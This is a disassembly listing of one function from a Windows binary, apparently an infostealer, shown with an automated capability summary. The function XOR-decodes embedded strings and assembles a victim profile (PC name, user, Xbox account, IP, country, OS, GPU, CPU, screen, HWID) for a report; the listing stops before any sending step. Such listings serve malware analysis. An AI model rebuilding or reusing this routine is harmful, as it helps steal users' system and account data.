Function at 0x140007430
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x898]
sub rsp, 0x990
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rbp + 0x870], rax
xor r14d, r14d
movups xmm0, xmmword [0x140035770]
movups xmmword [rbp + 0x5c0], xmm0
movups xmm1, xmmword [0x140035780]
movups xmmword [rbp + 0x5d0], xmm1
movups xmm0, xmmword [0x140035790]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [0x1400357a0]
movups xmmword [rbp + 0x5f0], xmm1
movups xmm0, xmmword [0x1400357b0]
movups xmmword [rbp + 0x600], xmm0
movups xmm1, xmmword [0x1400357c0]
movups xmmword [rbp + 0x610], xmm1
movups xmm0, xmmword [0x1400357d0]
movups xmmword [rbp + 0x620], xmm0
movsd xmm0, qword [0x1400357e0]
movsd qword [rbp + 0x630], xmm0
mov eax, dword [0x1400357e8]
mov dword [rbp + 0x638], eax
movzx eax, byte [0x1400357ec]
mov byte [rbp + 0x63c], al
movups xmm0, xmmword [0x140035c20]
movups xmmword [rbp + 0x4d0], xmm0
movups xmm1, xmmword [0x140035c30]
movups xmmword [rbp + 0x4e0], xmm1
movups xmm0, xmmword [0x140035c40]
movups xmmword [rbp + 0x4f0], xmm0
movups xmm1, xmmword [0x140035c50]
movups xmmword [rbp + 0x500], xmm1
movups xmm0, xmmword [0x140035c60]
movups xmmword [rbp + 0x510], xmm0
movsd xmm0, qword [0x140035c70]
movsd qword [rbp + 0x520], xmm0
movzx eax, word [0x140035c78]
mov word [rbp + 0x528], ax
movzx eax, byte [0x140035c7a]
mov byte [rbp + 0x52a], al
mov r8d, r14d
mov esi, dword [0x140040098]
cmp esi, 2
jl 0x1400076b5
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x410], xmm0
lea rcx, [rbp + 0x5c4]
mov edx, dword [rbp + 0x410]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400075b0
cmp r8d, 0x7d
jge 0x140007700
movsxd rax, r8d
lea r9, [rbp + 0x5c0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x1400076d0
mov ecx, r14d
cmp esi, 2
jl 0x140007844
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x4d4]
mov r8d, dword [rbp + 0x410]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x58
jl 0x140007742
cmp ecx, 0x5b
jge 0x14000787d
movsxd rax, ecx
lea r8, [rbp + 0x4d0]
add r8, rax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x5b
jl 0x140007851
lea rcx, [rbp + 0x640]
call fcn.140007050
xor r8d, r8d
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x430]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rcx, [rbp + 0x4b8]
call fcn.140007420
lea rcx, [rbp + 0x4b8]
call fcn.140007070
nop
mov rdi, qword [rbp + 0x4c0]
mov rbx, qword [rbp + 0x4b8]
cmp rbx, rdi
je 0x1400078e2
nop dword [rax]
mov rcx, qword [rbx]
call qword [sym.imp.GDI32.dll_DeleteObject]
add rbx, 8
cmp rbx, rdi
jne 0x1400078d0
mov rcx, qword [rbp + 0x430]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea rdi, [0x1400400f8]
cmp qword [0x140040110], 0xf
cmova rdi, qword [0x1400400f8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x468], xmm1
lea rax, [rbp + 0x4d0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140007930
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x458]
call fcn.1400040c0
nop
mov r8d, 0xd
lea rdx, str.____PC_Name:
lea rcx, [rbp + 0x458]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x438], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x448], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x438], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x448], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400414b0]
cmp qword [0x1400414c8], 0xf
cmova rdx, qword [0x1400414b0]
mov r8, qword [0x1400414c0]
lea rcx, [rbp + 0x438]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x488], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x478], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x488], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x478]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x498], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4a8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0xa
lea rdx, str.____User:
lea rcx, [rbp + 0x498]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400414f0]
cmp qword [0x140041508], 0xf
cmova rdx, qword [0x1400414f0]
mov r8, qword [0x140041500]
lea rcx, [rsp + 0x60]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp - 0x58]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0xa
lea rdx, str.____Xbox:
lea rcx, [rbp - 0x38]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041490]
cmp qword [0x1400414a8], 0xf
cmova rdx, qword [0x140041490]
mov r8, qword [0x1400414a0]
lea rcx, [rbp - 0x80]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x88]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 8
lea rdx, str.____IP:
lea rcx, [rbp + 0x48]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400415d8]
cmp qword [0x1400415f0], 0xf
cmova rdx, qword [0x1400415d8]
mov r8, qword [0x1400415e8]
lea rcx, [rbp + 0x28]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0xe
lea rdx, str.____IP_Local:
lea rcx, [rbp - 0x18]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x378], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400415b8]
cmp qword [0x1400415d0], 0xf
cmova rdx, qword [0x1400415b8]
mov r8, qword [0x1400415c8]
lea rcx, [rbp + 0x368]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x358], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x348], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x358], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x348]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x338], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x328], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x338], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0xd
lea rdx, str.____Country:
lea rcx, [rbp + 0x328]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x318], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x308], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x318], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041530]
cmp qword [0x140041548], 0xf
cmova rdx, qword [0x140041530]
mov r8, qword [0x140041540]
lea rcx, [rbp + 0x308]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, inet_ntoa
lea rdx, str._______OS:
lea rcx, [rbp + 0x2e8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2d8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041650]
cmp qword [0x140041668], 0xf
cmova rdx, qword [0x140041650]
mov r8, qword [0x140041660]
lea rcx, [rbp + 0x2c8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003358c]
lea rcx, [rbp + 0x2a8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x298], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x298], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041550]
cmp qword [0x140041568], 0xf
cmova rdx, qword [0x140041550]
mov r8, qword [0x140041560]
lea rcx, [rbp + 0x288]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x268], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x278], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x268], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x278], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x268]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x258], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x248], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x258], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 9
lea rdx, str.____GPU:
lea rcx, [rbp + 0x248]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x228], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x238], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041590]
cmp qword [0x1400415a8], 0xf
cmova rdx, qword [0x140041590]
mov r8, qword [0x1400415a0]
lea rcx, [rbp + 0x228]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x218], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x208], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x218], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x208]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0x12
lea rdx, str.____Memory_Usage:
lea rcx, [rbp + 0x1e8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041630]
cmp qword [0x140041648], 0xf
cmova rdx, qword [0x140041630]
mov r8, qword [0x140041640]
lea rcx, [rbp + 0x1c8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x1a8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x198], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 9
lea rdx, str.____CPU:
lea rcx, [rbp + 0x188]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041570]
cmp qword [0x140041588], 0xf
cmova rdx, qword [0x140041570]
mov r8, qword [0x140041580]
lea rcx, [rbp + 0x168]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0x148]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.____Screen:
lea rcx, [rbp + 0x128]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041510]
cmp qword [0x140041528], 0xf
cmova rdx, qword [0x140041510]
mov r8, qword [0x140041520]
lea rcx, [rbp + 0x108]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rbp + 0xe8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0xa
lea rdx, str.____HWID:
lea rcx, [rbp + 0xc8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140041610]
cmp qword [0x140041628], 0xf
cmova rdx, qword [0x140041610]
mov r8, qword [0x140041620]
lea rcx, [rbp + 0xa8]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 0x11
lea rdx, str._______Verssion:
lea rcx, [rbp + 0x68]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140008580
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, [0x14003351c]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x598]
call fcn.140028240
nop
lea rcx, [rsp + 0x40]
call fcn.140027380
nop
lea rcx, [rsp + 0x20]
call fcn.140027380
nop
lea rcx, [rbp + 0x68]
call fcn.140027380
nop
lea rcx, [rbp + 0xa8]
call fcn.140027380
nop
lea rcx, [rbp + 0xc8]
call fcn.140027380
nop
lea rcx, [rbp + 0xe8]
call fcn.140027380
nop
lea rcx, [rbp + 0x108]
call fcn.140027380
nop
lea rcx, [rbp + 0x128]
call fcn.140027380
nop
lea rcx, [rbp + 0x148]
call fcn.140027380
nop
lea rcx, [rbp + 0x168]
call fcn.140027380
nop
lea rcx, [rbp + 0x188]
call fcn.140027380
nop
lea rcx, [rbp + 0x1a8]
call fcn.140027380
nop
lea rcx, [rbp + 0x1c8]
call fcn.140027380
nop
lea rcx, [rbp + 0x1e8]
call fcn.140027380
nop
lea rcx, [rbp + 0x208]
call fcn.140027380
nop
lea rcx, [rbp + 0x228]
call fcn.140027380
nop
lea rcx, [rbp + 0x248]
call fcn.140027380
nop
lea rcx, [rbp + 0x268]
call fcn.140027380
nop
lea rcx, [rbp + 0x288]
call fcn.140027380
nop
lea rcx, [rbp + 0x2a8]
call fcn.140027380
nop
lea rcx, [rbp + 0x2c8]
call fcn.140027380
nop
lea rcx, [rbp + 0x2e8]
call fcn.140027380
nop
lea rcx, [rbp + 0x308]
call fcn.140027380
nop
lea rcx, [rbp + 0x328]
call fcn.140027380
nop
lea rcx, [rbp + 0x348]
call fcn.140027380
nop
lea rcx, [rbp + 0x368]
call fcn.140027380
nop
lea rcx, [rbp - 0x18]
call fcn.140027380
nop
lea rcx, [rbp + 8]
call fcn.140027380
nop
lea rcx, [rbp + 0x28]
call fcn.140027380
nop
lea rcx, [rbp + 0x48]
call fcn.140027380
nop
